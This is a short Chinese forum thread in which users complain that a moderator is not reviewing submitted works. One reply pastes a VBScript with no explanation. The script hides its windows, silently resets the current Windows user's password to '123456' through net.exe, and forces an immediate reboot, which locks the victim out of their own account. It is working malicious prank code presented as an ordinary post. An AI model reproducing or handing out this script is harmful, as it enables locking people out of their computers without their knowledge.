用户:尼安菌查看:9 回复:6 评论:9 创建时间:2020-03-30T09:42:25
猴急在干嘛啊,为什么不审核作品啊/(ㄒoㄒ)/~~
TianT我弄分室的是她也不审了
On Error Resume Next
Dim fso,ws,file,shut,password
password="123456"
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0点赞0
评论